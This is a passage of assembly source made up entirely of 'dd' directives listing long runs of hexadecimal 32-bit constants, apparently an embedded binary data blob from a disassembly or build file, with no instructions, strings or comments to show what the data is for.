14886C93h, 945BC3C0h dd 6C50312h, 114B6300h, 9F19D500h, 90C9BBC4h, 301F4884h dd 0A23A0401h, 808563C7h, 0C67FA418h, 488CC49Dh, 1D184C7Ch dd 7B6F08C8h, 0CF718C8h, 8021EEE4h, 3118A963h, 0C1C037FCh dd 0D5CA8318h, 127D6003h, 0AD8449Fh, 4D2B6410h, 81518B8h dd 0E18325E4h, 84407F19h, 0F8E60B66h, 0F8F97481h, 18C563B7h dd 818C247h, 0DF30BEE9h, 0A49F0C21h, 290824C9h, 0BD820FDh dd 88418C6h, 0D7493209h, 2401A9F0h, 80967D5Fh, 44203B9h dd 44A082F3h, 30C5E813h, 94062226h, 31E0BDC9h, 5DA8BA78h dd 643887BFh, 0F7869F2Eh, 0D9043178h, 8CD80361h, 201ABDF0h dd 30DC90A5h, 0A3088223h, 83F069C6h, 502E0624h, 2214509h dd 603E82B8h, 0C441E260h, 812D0E48h, 70D60668h, 0CAEAA36Bh dd 10C3FCE8h, 18149F43h, 28601038h, 0CA09DFA9h, 247DD83h dd 43F93E58h, 2438C37Ch, 9F02168h, 2C00AC23h, 0BC5A3543h dd 26012412h, 5B90E806h, 0F0280608h, 8116A022h, 38CFE079h dd 311BB0EFh, 85F47826h, 0CEDC2C48h, 2415EA3Eh, 0EB0470DCh dd 68C268D1h, 9988A480h, 71AE1891h, 7AFDE441h, 90978020h dd 0CE84202Ch, 0F8F22420h dd 30B762E8h, 0B8067E4Bh, 0CAC6FE41h, 98BC3820h, 21A40883h dd 643D4090h, 109EA62Ch, 440C4F12h, 48A41018h, 41030D4h dd 0FD241048h, 0DC7A4C7Ch, 0B2D1327Ch, 0F88FC088h, 0B821E286h dd 745CE348h, 10303624h, 0C410623Eh, 0C0A84943h, 8F0311BFh dd 8301649Eh, 68E00824h, 7882CB8Ch, 288DED2Dh, 0C398BEA0h dd 57246812h, 0C8F74C5Eh, 3CC098C4h, 982C28E3h, 6C6A4CA0h dd 0FF4A430Ah, 0FD7C0CC4h, 28902318h, 7C92A198h, 5188254Ch dd 24088060h, 831AD87Eh, 24C94847h, 58136B1Bh, 0C40080ACh dd 0CA09DE65h, 3048803h, 0A536D814h, 5E022C8Bh, 0D5306686h dd 0E68BECC0h, 0A3282C98h, 641A90C9h, 65C0DF62h, 3BFE03A8h dd 81FC76C1h, 0B2AB08h, 3A41FAC3h, 2059E3C7h, 2C305824h dd 0B6325864h, 0BE693E16h, 2B4B9806h, 60DC9978h, 7839C848h dd 226BA1C2h, 617CC165h, 9C83708Dh, 895DD138h, 20A63D8h dd 601CA4F4h, 92F1C4B8h, 7AA6322Ch, 8069C008h, 0E41430B8h dd 187B5B33h, 3A09A4EDh, 9A841C83h, 24FC2041h, 9806A4h dd 8FD4430h, 9091C864h, 742E4D44h, 84000B20h, 27454A7Ah dd 146E018h, 3E6A1D87h, 0D36934A7h, 8C2482E1h, 8214E18h dd 0F8E278B4h, 0FC20413h, 7CE2964h, 8483CC09h, 44101822h dd 0CDAB09D0h, 8678B80h, 6EB7E410h, 6190D0Fh, 2810DBC4h dd 63144A84h, 5A561858h, 0CF5E24E0h, 0F367D0F9h, 0F2C608C6h dd 0E8701F70h, 10441A58h, 9F197C8Ch, 0A437F77Ch, 9DC308B1h dd 0AE44C3F6h, 8C842010h, 0E2677CF8h, 1B487B18h, 8AC340D1h dd 4C032078h, 0CEB7408h, 0DC6BA017h, 4B750C99h, 58089C62h dd 77A2B80h, 0B5A40ED9h, 0A16BC1FDh, 0A68BF0F3h, 0AB01FC78h dd 2452C91Dh, 0A4D0C817h, 61330710h, 41050984h, 0F3CA7544h dd 0F004B8C1h, 0CB787A64h, 38DEBC90h, 0C020629Bh, 0B073B096h dd 610D06F3h, 68E31BA4h, 0CE2163Ah, 8ED66EBh, 319B41F9h dd 88B88FFFh, 0D2CB80E5h, 7F245736h, 0B760C5Ch, 61087FB9h dd 8B74C000h, 240DBF38h, 0C0AE5002h, 9B070F2Fh, 0B101344Bh dd 0D2ACC82Bh, 0E0A57F61h, 58604E0Bh, 0D6A4908h, 127A84h dd 53EFEB73h, 2FFA0477h, 0DBF20A00h, 150FDC89h, 0A78100D3h dd 48858B37h, 3C183356h, 0AF204606h, 1EC628ECh, 849800EAh dd 834B8A67h, 4527907h, 9152021Ch, 23D3AEEh, 66E031CFh dd 45184C08h, 0A7398783h, 48AD65C1h, 0B03C305Ah, 1C3C7052h dd 6FDC0005h, 27849BACh, 83363ADBh, 0B03A726h, 9600B947h dd 0A9DD3207h, 9B0444AEh, 2E474978h, 3DC8F0Ah, 990F281Eh dd 21B7801h, 0D2CA081Ch, 804AE8D1h, 1639F600h, 63D66C6Fh dd 0BD58353Bh, 51F38022h, 0DA92DDBBh, 183FF0BAh, 292B62B0h dd 1B40C5D5h, 24A63DFDh, 21F5C901h, 9F19A0B6h, 0F7C9018h dd 83D10B56h, 18DB3136h, 28CE8910h, 18CDD219h, 62E00827h dd 0B710C7D0h, 5A76C2D4h, 0AF9D7260h, 16DD6407h, 874FB9EFh dd 0F6808F9Bh, 37BE98C7h, 80A66C7Dh, 0E2E6E3BCh, 0A208BD61h dd 208EC068h, 3D816BEEh, 0D1BB7296h, 666C4C40h, 101B93Ch dd 7563D897h, 0A8B8F44Eh, 5DBECB03h, 0E0604C69h, 5F921609h dd 905620DDh, 2283656h, 70AE1552h, 0EFC00EA3h, 49D621F7h dd 96DD620Ah, 6B18FFh, 1A1E98F9h, 0B56300D7h, 1622437Fh dd 14A452B7h, 0D721280Ah, 5586C0AEh, 20A8FBFEh, 0B93169D3h dd 67C5F0C7h, 20581DE1h, 0E56F0EA7h, 63033528h, 3005B4F5h dd 93BB1D3Dh, 0CAA8C2Ch, 6F7DE28Eh, 0B3509570h, 187696D4h dd 218BE57h, 0C9AD5D28h, 0F5350264h, 5824E88Ah, 0A6384685h dd 48D72096h, 7600101Ch, 0BDBEBF22h, 0FCA0C65Dh, 0BB38705Eh dd 6086F7Dh, 8C10A381h, 32CF066Ch, 501869E0h, 0CAFF751Bh dd 0A08E8348h, 0C66BAADDh, 18C0CF50h, 0E84EB828h, 89BDE31h dd 0B6E09AA9h, 5E984003h, 22E09063h, 0E301491h, 3C7CAC92h dd 7118BBF6h, 0F28E108Dh, 187D2890h, 6E284090h, 0F7E3F08Ch dd 88EED6C1h, 3E683610h, 188F5C18h, 649090AFh, 5638E460h dd 30BF3352h, 0FDF82D7Dh, 0B0C59323h, 0EC06C8DEh, 6108C446h dd 25BD2028h, 0CED89BC5h, 108AA320h, 319A5C09h, 0C9114972h dd 0B801C898h, 0C740565Dh, 0C40DEE1h, 0C509462h, 0FF9DE8A0h dd 619969C6h, 702A48A8h, 10C91618h, 9B664276h, 2A080B60h dd 61ACA77Dh, 0EA5D4097h, 0E1308CB8h, 0CCBC40B9h, 0F6185309h dd 0B6F8A862h, 16DF83E8h, 0D6181457h, 961B8402h, 14A330F4h dd 0B5524919h, 0F824E530h, 61B892CBh, 8EFD7038h, 0ECA047BAh dd 7AC19658h, 0E20542E6h, 631222D0h, 8D4E389Bh, 28842035h dd 0E6C4F81Eh, 18D1FD82h, 508A6A94h, 898657Bh, 0C1089D39h dd 70C21866h, 0F8DD0DBDh, 1898C908h, 71D01962h, 0ECA55090h dd 5708DC02h, 15A0486Ah, 8E6898F0h, 0A3090914h, 0CC2324ADh dd 28110AB5h, 0C8CFF5BDh, 51F88626h, 6A075514h, 21E4A014h dd 16824D9h, 8F983F88h, 0BF8AD86Ch, 230118A5h, 32122AA3h dd 11958089h, 13767481h, 0E062D281h, 68831BC2h, 4841BF07h dd 0BEE421A8h, 8C771908h, 80244610h, 32C09A8Ah, 0A778C173h dd 32A0A48Fh, 0F7FD8002h, 1E1DD0E1h, 8148B452h, 0F66171Ah dd 46318857h, 2432247Fh, 42F1E1C2h, 14D51483h, 83DBB118h dd 0C654B008h, 80939638h, 920A948h, 82B33BB6h, 60025C90h dd 9803A2CCh, 402C9140h, 14E08017h, 0B23A1B44h, 50674D00h dd 668B7300h, 589A769h, 0DE378201h, 8839EE3Eh, 78BAC2E0h dd 54CE1FE6h, 0B7AE00D9h, 0CDA958D2h, 49634C03h, 8862D51Fh dd 329E202h, 0BBD1F6EBh, 0FCF35681h, 81B4F4D9h, 66928858h dd 1ECF06A9h, 5FB708h, 0FF83D049h, 4D523A82h, 0B5A0228h dd 0E3D280h, 0FC479821h, 8782C202h, 2DF0205h, 44987E69h dd 9010E451h, 0C101E2DAh, 42FC4E30h, 62088634h, 5388FFAh dd 22F9E575h, 0B203078h, 0D0021DD8h, 61BBD290h, 124C983Bh dd 4118018Bh, 1BBFBB5h, 49A040CAh, 28CA6DC6h, 0C9C21846h dd 37A0C3A3h, 0A031A190h, 0E96367F0h, 0B7A07CACh, 0F9C37489h dd 30EBB841h, 9C69D820h, 2E293EDCh, 45835C7Dh, 1077D4A1h dd 8EDE139h, 0C66E809h, 71786494h, 0F2041CA6h, 0EC9AAACDh dd 2DFC8100h, 0C41D8967h, 502B6397h, 67E45501h, 2101EBC2h dd 5814DB93h, 0E08097B5h, 287CC8B7h, 3A8938Eh, 63F1DDC1h dd 0A010DCC9h, 291EEE69h, 88D2FAEFh, 815F42DEh, 0C8A38BD4h dd 70008D97h, 2205B2BEh, 0AE4BB088h, 0F7E91D54h, 38959894h dd 1C905F01h, 8080C252h, 2DB01A91h, 0A128C294h, 21CB4F6h dd 4B307D02h, 0CC87D324h, 736795D4h, 86A88D78h, 28C32591h dd 13C673E1h, 15972D8h, 6446E8EAh, 3C45E209h, 0DEC6EB02h dd 3F810192h, 1D88925Dh, 9F8EC802h, 0A0C906B3h, 5F815CA5h dd 6889B43h, 0D7AD2100h, 1C4E3E04h, 0B08B058Bh, 0B48AC53Bh dd 8ACC97B0h, 5F8981Bh, 7066BAAAh, 5E79DD6Ch, 0D1EAA512h dd 39168C38h, 0BCC90C5Bh, 9E8F010Ah, 58B518F0h, 5E66F1E9h dd 0E8D89AB8h, 185C7894h, 28978B62h, 4B0FB65Fh, 46A2DE9h dd 9093A4A9h, 5028E6CCh, 99A2F89Eh, 0F210403Ch, 0F4A8FB30h dd 58C516A1h, 0A04C4822h, 7D61132h, 0FF494BB5h, 89422786h dd 55A23C83h, 0F6C9A812h, 0B4A8E05Dh, 0B14CAAF8h, 617FE030h dd 840954C3h, 60346341h, 0C84293C2h, 4A6C0ECh, 92E8C068h dd 98986FCCh, 845A9BA4h dd 65CC2808h, 0DE315D08h, 13810596h, 52F8385Fh, 0CE4D4E04h dd 541CD1E9h, 0A014986Eh, 97E1F85Dh, 24F4D1CEh, 9D52C1F4h dd 0F2CCC040h, 8089C482h, 5C487B61h, 5D0EE088h, 1C7F209Bh dd 14BE012Ch, 8154EE15h, 53504D23h, 29A14C24h, 41505C22h dd 0CE99AD76h, 0B9411468h, 0CE6E50C4h, 2F7FC270h, 0E1C0BC54h dd 0A5023940h, 0D94F0EBCh, 3129B8CDh, 0AEA442AAh, 0CB015C45h dd 20B03167h, 1421C884h, 6048C4BDh, 8750C864h, 0FCAC0126h dd 86AC10Bh, 2058F840h, 76971587h, 6C16A08Ah, 4C9807FDh dd 60C942FAh, 0FE824041h, 8569E201h, 7CFC02E0h, 60709180h dd 0C076DA0Ah, 2438BD59h, 290D8CE8h, 0AC4358B2h, 0C30810F7h dd 2B3103D6h, 1F35A94Ch, 0FF98171h, 431D2E29h, 0FD36AFC2h dd 882403A3h, 0E3507062h, 0B22B7F6Dh, 36A10970h, 0B0966693h dd 0D221ED06h, 1328BEB2h, 385FB041h, 9434A5E0h, 0D8451A08h dd 448E5FC6h, 82D7047Fh, 4D327DEh, 44CE91B0h, 8CC4320Fh dd 2105E288h, 0A48E6858h, 0D766B04h, 86788889h, 0F46134BAh dd 843DA2F8h, 42DE8042h, 784838FCh, 115424A2h, 376185C4h dd 9AA003F9h, 75827409h, 0CA2C1898h, 0C1D15433h, 6444A001h dd 5CFD2969h, 74304078h, 0B4929ED6h, 4396A10Ah, 0C8E07864h dd 0A4A99C35h, 9F48B4h, 0AFB68909h, 0FD26541Ch, 0BF184A53h dd 2E43E130h, 58D86369h, 6C0895A4h, 0AD20645h, 70A46F2Eh dd 772252D0h, 7321135Ah, 0D474399Eh, 2249B47Eh, 34C10B54h dd 6209C9Fh, 0E151D93Eh, 610928B4h, 1C639ACAh, 1B1C17B8h dd 13442AFh, 0F441B722h, 0E2088430h, 0FC8EB5C0h, 0A0F4302h dd 0A101E9F2h, 88946E50h, 909F4CBh, 7C9CAFECh, 0FD26B1E0h dd 8241EC0Dh, 0C84B58D4h, 0CDDB1906h, 0E10E290Eh, 40F9E291h dd 0C2FFAE1Ah, 0FD2A24E7h, 8CC173ACh, 813984C5h, 0C1A8EBh dd 28230857h, 959E8880h, 0D3636E4Dh, 80EEE610h, 0C3EB7D42h dd 0F9F34508h, 790B1001h, 0B0E28F9Ah, 0F0F78DC9h, 0FB8525h dd 0C6AD67E6h, 0A4F28BF5h, 647D3374h, 0C104D10Bh, 35880159h dd 5986FC75h, 607EDF5Bh, 0EF231D12h, 9BF1A100h, 0C5744DFBh dd 0C065E518h, 0F37D49D4h, 3844D430h, 35C649Eh, 323851D6h dd 19C81B84h, 2000B956h, 7180F92Bh, 17F7AC8h, 0F8067738h dd 0BDF1A584h, 0B26D00C1h, 2C6E9F29h, 0F78B0h, 145D78Bh dd 0A55568C6h, 0EBA95600h, 0CC4DA097h, 228B0A46h, 0A2ED9Dh dd 16DEBEE9h, 6D03818Eh, 8F8DD7FBh, 0FA9DB0DDh, 50710EECh dd 0CB8CF71Bh, 0CA605BB1h, 832C93E9h, 786300AFh, 0ABC975AAh dd 0E03AF39Ah, 97007E81h, 3F0B99E3h, 0C0FA144Eh, 4C44EAB0h dd 0A11D2216h, 5F06EE7Eh, 506A1Dh, 97663925h, 0C5545556h dd 6E4AFF00h, 1C0981D6h, 2D420406h, 807D8EBDh, 393D535Ch dd 7933700h, 34B74135h, 248900D3h, 33DEDFA0h, 7303504Ch dd 55CA2AB0h, 0AF1801C0h, 423ECD61h, 5C66D0DDh, 3F03A800h dd 29B39174h, 6CEC4CE2h, 18CC5628h, 20C6754Bh, 0A900EDEFh dd 78D90A32h, 745534h, 0C4226714h, 1CD4602Fh, 0F973EE00h dd 0D53E79E1h, 8D041DE2h, 51BB46AFh, 1F0010D7h, 53DC1CDAh dd 3C2FEADh, 8FAAEAD0h, 2003D3CDh, 594A4098h, 0A629C052h dd 4C93FA95h, 18300DECh, 7B6FD488h, 49F5BC00h, 0BA21EF20h dd 8DE017h, 0FBCA19FEh, 701DBBACh, 1035B001h, 3DC354E5h dd 32249080h, 4EDE4CF1h, 1C2A4B07h, 0C640738Ah, 0EE2D43Eh dd 0C4F00C66h, 1EFC87A0h, 6900536Dh, 0B57719DAh, 0C96C94h dd 0DF9854CDh, 0AF1CF833h, 463DB00h, 7CB0725Ah, 0F1C27930h dd 8AA893h, 8593BF51h, 6300F87Dh, 0E7EC3E80h, 157714Fh dd 0FC1040F3h, 40546E0Ch, 9B2AD6D4h, 81A16C3Ah, 579ED3FDh dd 46D8EB15h, 63C286Ah, 717CB9h, 31C634E9h, 354E0E80h dd 0A6F2891Eh, 576A007Eh, 40A4D048h, 0DDB800FCh, 1CD10DADh dd 1FE846AEh, 0BD855707h, 0CE10E530h, 0E3AA6Ch, 0F403E2FEh dd 24CFF74Eh, 0BB95220Bh, 12A4802Eh, 7C58A0h, 4B3843F5h dd 0F932FE74h, 0FC319A1Fh, 0C11323C1h, 0BFCA282h, 92EAA1h dd 89C2D4E2h, 66D012Dh, 942CD000h, 0A481B93h, 0D37A1C08h dd 3CAE805Eh, 89C0FF31h, 0CEE6BC00h, 2CF3FBC8h, 0E4DB1E99h dd 13281D6h, 0CCA91F66h, 0B600030Fh, 0A6C425A3h, 0C8DC3Eh dd 7EC714A5h, 0C94F054Eh, 0DF35D900h, 6ECE01C2h, 50BA0107h dd 11DE9BD1h, 0FD8EFC84h, 14806F50h, 0C848AA00h, 0BE3AA4B9h dd 2BD10078h, 0CA342528h, 9BA09607h, 0EE0EAF5Dh, 7876C810h dd 36D6A74h, 0B814A05Eh, 64D0C030h, 3A133586h, 0C903DBE0h dd 0E8D52EF6h, 3155A13h, 3FF5DDE5h, 0E1C09C2Ah, 1838A28Fh dd 313480B8h, 49254802h, 85C800FCh, 19221DF9h, 4600E253h dd 6843B889h, 17496Ch, 0A44A96B5h, 60A3D0A9h, 8146543Fh dd 0FB02EE9Ch, 0FCFCE534h, 19A90004h, 4E4F90CEh, 77016FF2h dd 5FBB33A2h, 402F8E55h, 944CCCA8h, 80005B0Fh, 0DCF8AC62h dd 0E4A1D760h, 8AF00381h, 16FA72B2h, 3BFB1900h, 0D2CC574Eh dd 2EDA00F3h, 9DFE1F12h, 0A71E1930h, 92C0EC97h, 5CC16910h dd 0C9F80075h, 4AEE8DC7h, 991E5679h, 0C400D5FCh, 3ACA903Dh dd 8AD8034Bh, 1DD7E39Eh, 0C7D5F7E0h, 1F163000h, 0DC876F1Ah dd 300874CBh, 9D489127h, 0FC6068B2h, 4F851980h, 5740FDFh dd 0EC602606h, 0ADCBDE58h, 82945F00h, 633EB181h, 9C40F2Ah dd 0A5C0E240h, 128BBDD7h, 6E3CA700h, 0DD81A26Bh, 51260B7Fh dd 2D03AC50h, 0F522C9h, 61B079DEh, 93000A91h, 80A0271Eh dd 0FDABCAEh, 1AEF4FCEh, 0A05615E7h, 0A8BA885h, 26612F73h dd 0BF398D28h, 28A1D400h, 75FF8A07h, 0A9C02185h, 1FD30AD6h dd 2DD75323h, 0DF14D55Ch, 0B1E30814h, 32DA002Fh, 0C68E23D0h dd 5044C00h, 2C4A4E13h, 0BECE0048h, 8BCB3512h, 0BF0096A8h dd 9549C3B4h, 162C20h, 0E3233747h, 0A4B6C941h, 2E259C01h dd 8ECE2F3Ah, 1A55C8h, 16BF10Fh, 9028996Fh, 0ED0188EEh dd 0A4D9B5DAh, 83E8276Ch, 60B9060h, 0ABCFC81Dh, 4B7F3839h dd 3FC7DF00h, 25A0461Fh, 0E7810ED8h, 97803975h, 0B9BF40C2h dd 0F22E4801h, 0CEB4B761h, 0CB4CF0h, 7C83C910h, 1E1617EAh dd 68CA9400h, 599EBCA6h, 2FE3001Fh, 0E5895430h, 0E80FFBF5h dd 3F0BCE6Bh, 0FE060DC0h, 17F4AA84h, 4351D4Ah, 80C5874Bh dd 3E995B72h, 76382F00h, 0C0713A1Bh, 67920778h, 605C19E6h dd 15CEAC9Dh, 4B53600h, 427BFD58h, 50FB000Ch, 38D0F58Ah dd 0E80083D4h, 95FE5408h, 0A3CDB9h, 3640B349h, 0B22A850h dd 0C3F36C00h, 0CB9252A4h, 767700DDh, 677EA37Bh, 3C07C1DEh dd 3804B227h, 6D6F0F50h, 0B4200E0h, 1AF7622Eh, 0EE007435h dd 7E0E4AA7h, 0BBEAD7h, 60CDA00Ch, 0F9F4DF73h, 8E264E07h dd 97904424h, 4D0C667h, 3BFD78E4h, 7DCB81EBh, 0D48C47C5h dd 2BE020D2h, 327387h, 129B1448h, 0CEE836BFh, 0C8B2300Fh dd 0CF811C68h, 8647A860h, 0C415D9C8h, 0C0DF0D10h, 0BCF0F812h dd 0D022FB66h, 0B7D10060h, 3720FCB9h, 0C400D815h, 0C3FFE612h dd 0D74B4Ah, 7C3FE18Bh, 0B63230B2h, 9DD85F00h, 0C5B4E6Eh dd 0F1F60064h, 36FE1706h, 4939519Eh, 55BF8028h, 2F865748h dd 6FCE029Ah, 7FA995FCh, 63B5BFC0h, 0BA8C1500h, 0D6DB49C6h dd 71CE00D5h, 0B45C7A4Ah, 0C100FDA6h, 1398157Dh, 771A1B0Ah dd 45220088h, 0ED946ED2h dd 4A013FFDh, 0D1BA85B2h, 0CFC896F0h, 93E400F6h, 0D44D8271h dd 28C0EC39h, 298178A9h, 0E9BF0064h, 6C441431h, 0D604ADF6h dd 0CC1761E4h, 5D21080h, 8BAF00C3h, 0B2BD6047h, 65046B9h dd 29050BB0h, 0DFE2E9F3h, 8CDDA001h, 0B1CFEA56h, 0E170BF9Dh dd 0B82E725Fh, 47313h, 7F0542F1h, 5C9A7317h, 0CEB96D00h dd 0EE692268h, 0A5380EBFh, 67804719h, 8EF0DFD2h, 0AE13F10Ah dd 2024A058h, 4B6AFA00h, 0A5CD935h, 53B99C25h, 5D3100BCh dd 68E08BE7h, 91454D01h, 0C7C019B0h, 0E85076ECh, 743E0087h dd 7738FB41h, 0E6EAB13Dh, 0F056A100h, 826D18E9h, 1ACD0F6Ch dd 0CE40BC1Fh, 2E3B4A93h, 0BE2A4Ch, 19C29DE1h, 3839F9Ch dd 83412F2h, 0CB06A3Eh, 7600C01Dh, 3C8FD92Ah, 0F8798h dd 0FEFC167Ah, 6B836A07h, 0F51C8E78h, 2C019D91h, 8B82707Eh dd 378730h, 8EC41BF6h, 5DA5FBFCh, 7468F300h, 1353BA38h dd 2ADCEB45h, 0AA0A1D8Fh, 89CE409Ah, 957CD929h, 1641AC00h dd 70288590h, 347100C0h, 0A24427E2h, 0F0003122h, 0CAFF86B6h dd 0A86AE7h, 0DAB55081h, 2244EB85h, 0B2462D00h, 0B0F49DB4h dd 0B3CD04FDh, 0C0D555F6h, 797E900Ch, 95752800h, 24EF79Bh dd 52E4A1h, 1C8C5817h, 72654AF0h, 7C7A607h, 0D890AD5Fh dd 0A8EB5Eh, 0F5A2C931h, 0BBCE4B70h, 18862100h, 7E344842h dd 796B002Ah, 0B7E2B5A1h, 0C000DB54h, 38E70CB3h, 3AD16340h dd 0C89247B6h, 9CB0506Bh, 548A4405h, 91C800D4h, 1150FC1Fh dd 9720E700h, 0A43FFBDEh, 6B190302h, 0CCC53733h, 0A57C80F5h dd 0AE004E79h, 151123F6h, 1D5B0C88h, 9C393693h, 0B2C9C19Eh dd 0C08056EBh, 0C2005FBEh, 0B32B9BDh, 186C16Ah, 2C3B1965h dd 0ECB51CFFh, 900F4515h, 11E5A67h, 0FCBB0AF8h, 3DC820h dd 3B48940h, 3C20D258h, 0F0B3A00h, 0C78B1680h, 0C320C012h dd 1995978Ah, 0B7ACBB00h, 1C81414Bh, 368800F3h, 0D6D9B18Eh dd 9C038471h, 0E70ECB1Ah, 64E8EDE9h, 4A9E701Ch, 0D4BD13h dd 55AD40DCh, 170047B4h, 0D0E9F612h, 0EB8203h, 0B1A36CBAh dd 87F39476h, 7DCF049h, 0FDF1AD55h, 0E02A8EEEh, 999C7C81h dd 0DD70A90h, 1D44962h, 79972522h, 9D8024CAh, 5E6C3703h dd 0D09513DFh, 0DE034Dh, 3CBF69A2h, 37B02D61h, 18C1CB13h dd 0C632A600h, 7F29096h, 0C58A029Ah, 0F040B052h, 0EE0F8B88h dd 542D60CCh, 984E0BE5h, 80F30EB2h, 0B03C6411h, 0BEDA01C6h dd 24E3053Bh, 80EA6180h, 49161C98h, 78C771D2h, 3DA3C55h dd 2972E00h, 0B9FCB1FEh, 4681F900h, 0A26E6619h, 0DCF3004Fh dd 0D275A548h, 5F002DCEh, 28E95AB5h, 0E316EC5h, 496AC283h dd 40E07AEFh, 0C0B0DA7Eh, 0AEF54F00h, 0D09CDE90h, 62B4264Eh dd 5C8038F3h, 0A03D8856h, 0CF00697Ah, 0FD8B612Bh, 0D7ECA5h dd 4BBC1B93h, 3F14986Dh, 56B5C70Eh, 17644036h, 7F56C88h dd 0CDE8CB25h, 6C020B15h, 78C06BCCh, 43008A74h, 0D30F5B93h dd 0E8D07A7h, 4D212438h, 89398480h, 160F5E54h, 803D879Eh dd 3A82D7EAh, 29F902C8h, 0A69B6649h, 3607D444h, 69D97042h dd 18F1D090h, 7A4100F5h, 3A0C3E54h, 3B0052E9h, 0E6C621BEh dd 95383F2Bh, 7FF299F8h, 7DBB3C02h, 0C2B81B6Ah, 811800D2h dd 0F22D89h, 0D8BD821Ch, 56301FFFh, 50E4A600h, 0AFB83454h dd 0C4590021h, 0D132BD9Ch, 131E3B6Dh, 0AC80DCF9h, 2246F35Ch dd 831D0E7Fh, 0DF00FC08h, 0D4DE35A2h, 0B878D614h, 0ADD002F8h dd 0C0B968B0h, 38BC93ABh, 660057DEh, 73C62BB7h, 0A91C3D75h dd 6587E7ACh, 0B3E7E8EAh, 403E96h, 40C02502h, 9FAE1A30h dd 0A72AC804h, 8D83BE18h, 23DDF036h, 411E07B2h, 0A08435DFh dd 742D6DEFh, 465D5400h, 4AF8891Ah, 0BF1C0502h, 0C18C503Bh dd 3A2125CCh, 36B68B0h, 163E623Ch, 0C0D7F887h, 24A339A6h dd 0DFEE157Ah, 88D8AD18h, 76DD8B90h, 0C5900099h, 0AECD66D3h dd 65007E6Bh, 0CFED1404h, 39FE438h, 0DB1E7561h, 0A5805CAFh dd 770126E8h, 0C7DAF9A8h, 130194Ah, 4C130080h, 0A2B43E95h dd 0E300A6BFh, 3929E093h, 4BBBC04h, 0B088384Fh, 0A1648094h dd 0AF7BF159h, 71CF511Ch, 0B98E003Bh, 0C42F9D4Ah, 0B98D2h dd 747A35CBh, 1D4EEAB6h, 920CE400h, 0C8C19938h, 851200E6h dd 0E0BC059Ch, 64004570h, 0ADF2C588h, 3E917493h, 0D29F1F65h dd 8678C4D0h, 975880FAh, 0A0009A6Ah, 73DA4EADh, 515BA5h dd 0FE8CA37Ah, 0CA3AC0A4h, 3B2793Bh, 0B91B8755h, 0F34CF023h dd 0A8D80FDBh, 0E1807D1Dh, 7FCB8A92h, 0B7275A00h, 5006E216h dd 67C8005Fh, 0E93D4D34h, 51006084h, 7F3B86F3h, 0F1FDAh dd 5A12CC72h, 5D99785h, 430D0B00h, 0D1A6032Bh, 0E0E70098h dd 9C7710D6h, 0C20367FFh, 4DC922A5h, 0B24000DDh, 38DA9F5Bh dd 0BD17081Ch, 0B900FB89h, 4C5022E2h, 771400AEh, 6C33BE8Ch dd 2F3C4B67h, 0E5200013h, 6FCFF9A6h, 28C80077h, 3DFE5FBFh dd 630393E6h, 9B82B53h, 0ABE890AEh, 2C10070h, 55621D5Fh dd 0BC005B80h, 9BB37AB9h, 388C5B6h, 0B2AC3A5Ch, 92985F6Ch dd 0FA01BDE3h, 0E483A06Dh, 0B5F45BBEh, 0B6F01Bh, 122391ECh dd 69B42BF4h, 0D803C375h, 8D57C87Dh, 48400C2h, 4D79FC25h dd 171F9FEFh, 4EC2D692h, 0F88AA32Dh, 0B8BCE2A1h, 461E1854h dd 80632095h, 0F7B5B21Ch, 26CD5E81h, 18F0D7E4h, 2CF10019h dd 56118107h, 0A0025EEh, 840E2E3h, 4B42A2h, 53D79BF4h dd 0A893B99Fh, 0DA3D48h, 9CB7D505h, 996128h, 0E6B656CBh dd 0D9222A29h, 45B8AA00h, 0CEFF6E8Ah, 0C43B0018h, 7F6513A4h dd 4D00E781h, 60FBB509h, 1D75AC8Ch, 0C0A1C829h, 4A9B3DD5h dd 0BB756C5Ch, 12402B04h, 5FC0E8EDh, 7D39E1Bh, 0DDC52239h dd 0FBB8B0FFh, 40F3A7Fh, 435B5133h, 0E82B13F7h, 4103DDh dd 0A66CAE80h, 146FCEBCh, 0CC007EEAh, 1B08D949h, 0E1AE21EFh dd 0FADB1F4h, 767B3A41h, 2255F160h, 0B6003968h, 81A9FC0Ah dd 8CDD5Dh, 48BB836Fh, 0E8933543h, 7831C700h, 51E7D789h dd 6F7DD4h, 0B0D25A30h, 0C737C6Ah, 8DBF481Ch, 7EA5F8C0h dd 33A393h, 4D3A65Dh, 1FB93FABh, 0E17D3600h, 92983D49h dd 4F2200B5h, 0EB19BA13h, 3200C0E5h, 0EC08609Bh, 0FFBD46h dd 2229F0D7h, 3B761CBBh, 157C500h, 163134EEh, 0A2041F9Bh dd 268D40A6h, 6E63E552h, 79ECC103h, 0D0FCBC90h, 4149B2h dd 2370880Fh, 0D839FA7Eh, 891C51F2h, 4240E7DBh, 3A939ECEh dd 0DCE50069h, 0D6BB714h, 4E003071h, 0D2D5AFF3h, 1E34AD2Ah dd 40E57840h, 0F06B2899h, 15019BCDh, 0F5EA2CB2h, 7E3D13Eh dd 45C3FF28h, 0D6EE053h, 0AEFA3AF0h, 6D00A9F8h, 68CD7CBEh dd 3207ED2h, 232DB1EAh, 38A8A413h, 243A2F0Ch, 8995808Eh dd 3A53ED61h, 0FC5774Dh, 4BFF4188h, 5ECDBDA0h, 8F4819BBh dd 5A870E56h, 0EE62E0B3h, 3E2B7AB4h, 3F1F5E20h, 600BD87Dh dd 857BA36Fh, 50384A60h, 70254B3h, 0F4EDBE9Ch, 9616E013h dd 0C6001537h, 6A8B606Fh, 0ABA854h, 0C26344D8h, 2AD05F16h dd 0D334E400h, 0E72FCA5Bh, 80DC140Dh, 7700C719h, 508515EBh dd 0CD009EF3h, 2962CA95h, 7DD51306h, 0DFF800B2h, 36899AE6h dd 54037723h, 46E91FB8h, 97FFF8E0h, 31C83969h, 41980C00h dd 0F2A6A034h, 0C6242B00h, 0F73C6146h, 0FE6C0390h, 9A8AC1A9h dd 9C9D1298h, 0FD304D01h, 86BD6446h, 0CB61880h, 0B5F1BB75h dd 8D568F09h, 1E2700BCh dd 8C5BF8h, 0B1EB273Bh, 3921EDFAh, 6C0C8B00h, 814B1F8Ah dd 0A86B1FB4h, 30424F6h, 0B39C0B6Fh, 0F8ABD089h, 0ED07BD83h dd 79753C84h, 0E6D4FA21h, 4260D2DDh, 0B128014Eh, 67A5B5A9h dd 5EF9DC4Dh, 9D132101h, 0D4EB3C89h, 0E6099F5h, 2F71006Ch dd 45B9612Ah, 0B13C386Bh, 3C671E31h, 0BA9B4BC7h, 3286ACB7h dd 0FC630028h, 3A2E1E70h, 90F0E316h, 0AE8E3700h, 0B7840D45h dd 0F00EB7DEh, 716677C3h, 0B3EBAB0h, 